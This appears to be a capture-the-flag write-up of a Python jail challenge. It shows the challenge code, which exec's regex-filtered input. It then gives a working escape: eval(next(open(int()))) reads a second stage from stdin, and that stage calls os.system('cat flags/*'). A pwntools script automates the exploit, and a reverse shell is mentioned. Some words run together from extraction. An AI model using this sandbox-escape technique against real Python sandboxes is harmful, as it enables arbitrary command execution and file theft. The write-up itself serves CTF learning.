#!/usr/bin/env python3
import regex
import glob
import sys
exception_groups = (Warning, SystemExit, ConnectionResetError, ConnectionAbortedError, ConnectionRefusedError, KeyboardInterrupt, ConnectionError, ResourceWarning, TypeError, BytesWarning, OverflowError, TabError, InterruptedError, RuntimeError, TimeoutError, FileNotFoundError, UserWarning, GeneratorExit, PermissionError, KeyError, AssertionError, UnicodeDecodeError, IsADirectoryError, ZeroDivisionError, FileExistsError, BlockingIOError, SystemError, OSError, EOFError, EncodingWarning, StopIteration, UnicodeWarning, ImportWarning, SyntaxWarning, LookupError, AttributeError, ImportError, ArithmeticError, EnvironmentError, ChildProcessError, UnicodeTranslateError, UnicodeEncodeError, RecursionError, StopAsyncIteration, RuntimeWarning, IndentationError, ValueError, ModuleNotFoundError, DeprecationWarning, BufferError, FutureWarning, ReferenceError, MemoryError, UnicodeError, PendingDeprecationWarning, NotADirectoryError, IOError, FloatingPointError, ProcessLookupError, NameError, NotImplementedError, UnboundLocalError, BrokenPipeError, IndexError)
secret_of_trades = glob.glob('flags/*')
re_pattern = regex.compile(r'[ad-z]+\(((?R)|)\)')
user_input = input('>>> ')
sys.stderr = sys.stdout
sys.stdout = None
sys.stdin = None
if re_pattern.fullmatch(user_input):
try:
exec(user_input)
except exception_groups as e:
pass
The regex r'[ad-z]+\(((?R)|)\)'
matches:
[ad-z]+
r'[ad-z]+\(((?R)|)\)'
itselfTherefore, the requirements are: Call functions with zero argument, or return value of another function, and all function names should match [ad-z]+
.
Print all the builtin functions that are allowed:
import regex
re_pattern = regex.compile(r'[ad-z]+')
print([x for x in __builtins__.__dict__ if re_pattern.fullmatch(x)])
# prints ['all', 'any', 'delattr', 'dir', 'divmod', 'eval', 'format', 'getattr', 'hasattr', 'hash', 'hex', 'id', 'input', 'iter', 'aiter', 'len', 'max', 'min', 'next', 'anext', 'ord', 'pow', 'print', 'repr', 'round', 'setattr', 'sorted', 'sum', 'vars', 'memoryview', 'enumerate', 'filter', 'float', 'frozenset', 'property', 'int', 'list', 'map', 'range', 'reversed', 'set', 'str', 'super', 'tuple', 'type', 'zip', 'open', 'quit', 'exit', 'help']
Therefore, we need to use these functions to attack. Inspired by @hmmm’s writeup on Discord:
eval(next(open(int())))
exec('import sys,os;sys.stdout=open(1,"w");os.system("cat flags/*")')
The attack steps:
open(int())
opens fd 0, which is stdinnext(...)
reads one line from stdineval(...)
evals the lineThen, we can freely send code to run. Initially, I tried os.system("sh")
, but it fails due to eval(next(open(int())))
opening fd 0 and closing it when the file object freed. In addition, os.system
is not affected by the chage of sys.std{in,out,err}
: in fact, the changes to them does not affect the underlying fd, but only affects python code that use them for I/O. And we can replace import sys
with __import__('sys')
for it to become an expression to work in eval
directly.
So the attack script can be simplified:
from pwn import *
context(log_level="debug")
p = process(["python3", "functional.py"])
p.recvuntil(b">>> ")
p.sendline("eval(next(open(int())))".encode())
p.sendline("__import__('os').system('cat flags/*')".encode())
p.interactive()
Alternatively, we can use reverse shell to get shell.